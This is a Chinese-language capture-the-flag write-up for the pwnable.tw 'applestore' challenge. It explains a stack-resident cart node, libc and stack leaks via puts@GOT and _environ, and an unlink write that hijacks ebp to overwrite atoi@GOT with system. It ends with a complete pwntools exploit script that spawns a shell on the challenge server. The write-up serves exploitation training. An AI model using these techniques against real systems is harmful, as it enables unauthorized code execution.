0%

pwnable.tw applestore

pwnable.tw applestore 学到了一些新东西.

0x0

QQ截图20200130123842.png
这道题是实现一个购物车的功能.
在全局有myCart, 用双向链表来实现.

QQ截图20200130123205.png
这里有个彩蛋, 就是花了7174刀后送一个一刀的iPhone8, 但是这个iPhone8的结构体是在栈里面的, 而且和add 等函数在一个栈帧里面, my_read是可以改结构体的.
买6个199+20个299凑够7174, 触发彩蛋, 然后再用cart来泄露puts的got表地址获取libc, 获取libc之后可以用相似的办法获取栈地址.

0x1

在libc中保存了一个函数叫_environ,存的是当前进程的环境变量
得到libc地址后,libc基址+_environ的偏移量=_environ的地址
在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量之和libc库有关
通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量

0x2

得到libc之后是如何攻击.
再次修改结构体的内容, 修改fd和bk指针, 这样在delete函数中有一次任意写的机会, 可以用来改atoi函数的got表, 但是直接改的话是不可以的, 可以劫持ebp, 把handler的ebp修改成atoi_got-0x22, 这样读入的时候可以直接改掉atoi_got, 再用Linux指令截断特性, system; /bin/sh来攻击.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *  

Online = True

if Online == False:
sh = process('./applestore')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# gdb.attach(sh)
# context.log_level = 'debug'
else :
sh = remote('chall.pwnable.tw', 10104)
libc = ELF('./libc_32.so.6')
elf = ELF('./applestore')

def Write(Until, Text):
sh.recvuntil(Until)
sh.sendline(Text)

Buy_Text = 'Device Number> '
Handler_Text = '> '
Cart_Text = 'Let me check your cart. ok? (y/n) > '
puts_got_addr = elf.got['puts']
atoi_got_addr = elf.got['atoi']


for i in range(0, 6):
Write(Handler_Text, '2\x00')
Write(Buy_Text, '1\x00')
for i in range(0, 20):
Write(Handler_Text, '2\x00')
Write(Buy_Text, '2\x00')

Write(Handler_Text, '5\x00')
Write(Cart_Text, 'y\x00')


Write(Handler_Text, '4\x00')
Write(Cart_Text, 'y\x00' + p32(puts_got_addr) + p32(puts_got_addr) + p32(0x0))
sh.recvuntil('27: ')
puts_addr = u32(sh.recv(4)[0:4])
libcbase = puts_addr - libc.symbols['puts']
environ = libcbase + libc.symbols['_environ']

Write(Handler_Text, '4\x00')
Write(Cart_Text, 'y\x00' + p32(environ) + p32(environ) + p32(0x0))
sh.recvuntil('27: ')
environ_addr = u32(sh.recv(4)[0:4])


log.success('Get LibcBase_Addr: ' + hex(libcbase))
log.success('Get Environ_Addr: ' + hex(environ_addr))

ebpAddr = environ_addr - 0x104
log.success('atoi_got_Addr: ' + hex(atoi_got_addr))
log.success('ebpAddr: ' + hex(ebpAddr))

Write(Handler_Text, '3\x00')
Write('Item Number> ', '27' + p32(environ) + p32(environ) + p32(atoi_got_addr + 0x22) + p32(ebpAddr - 0x8))

systemAddr = libcbase + libc.symbols['system']

log.success('systemAddr: ' + hex(systemAddr))

Write(Handler_Text, p32(systemAddr) + ';/bin/sh')

sh.interactive()